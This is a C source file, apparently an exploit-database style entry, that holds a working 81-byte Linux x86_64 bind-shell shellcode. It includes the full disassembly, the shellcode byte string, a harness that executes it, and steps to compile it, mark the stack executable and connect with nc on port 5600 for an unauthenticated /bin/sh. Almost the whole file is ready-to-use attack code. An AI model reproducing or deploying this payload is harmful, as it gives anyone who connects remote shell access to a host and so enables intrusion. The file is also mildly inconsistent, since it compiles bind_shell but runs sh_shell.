/*
---------------------------------------------------------------------------------------------------
Linux/x86_64 - bindshell (PORT: 5600) - 81 bytes
Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
---------------------------------------------------------------------------------------------------
Disassembly of section .text:
0000000000400080 <.text>:
400080: 99 cdq
400081: 6a 29 push 0x29
400083: 58 pop rax
400084: 6a 01 push 0x1
400086: 5e pop rsi
400087: 6a 02 push 0x2
400089: 5f pop rdi
40008a: 0f 05 syscall
40008c: 48 97 xchg rdi,rax
40008e: 6a 02 push 0x2
400090: 66 c7 44 24 02 15 e0 mov WORD PTR [rsp+0x2],0xe015
400097: 54 push rsp
400098: 5e pop rsi
400099: 52 push rdx
40009a: 6a 10 push 0x10
40009c: 5a pop rdx
40009d: 6a 31 push 0x31
40009f: 58 pop rax
4000a0: 0f 05 syscall
4000a2: 50 push rax
4000a3: 5e pop rsi
4000a4: 6a 32 push 0x32
4000a6: 58 pop rax
4000a7: 0f 05 syscall
4000a9: 6a 2b push 0x2b
4000ab: 58 pop rax
4000ac: 0f 05 syscall
4000ae: 48 97 xchg rdi,rax
4000b0: 6a 03 push 0x3
4000b2: 5e pop rsi
4000b3: 48 ff ce dec rsi
4000b6: 6a 21 push 0x21
4000b8: 58 pop rax
4000b9: 0f 05 syscall
4000bb: 75 f6 jne 0x4000b3
4000bd: 99 cdq
4000be: 52 push rdx
4000bf: 48 b9 2f 62 69 6e 2f movabs rcx,0x68732f2f6e69622f
4000c6: 2f 73 68
4000c9: 51 push rcx
4000ca: 54 push rsp
4000cb: 5f pop rdi
4000cc: 6a 3b push 0x3b
4000ce: 58 pop rax
4000cf: 0f 05 syscall
---------------------------------------------------------------------------------------------------
How To Run
$ gcc -o bind_shell bind_shell.c
$ execstack -s sh_shell
$ ./sh_shell
How to Connect
$ nc <HOST IP ADDRESS> 5600
Eg:
$ nc 127.0.0.1 5600
---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\x99\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x99\x52\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x51\x54\x5f\x6a\x3b\x58\x0f\x05";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
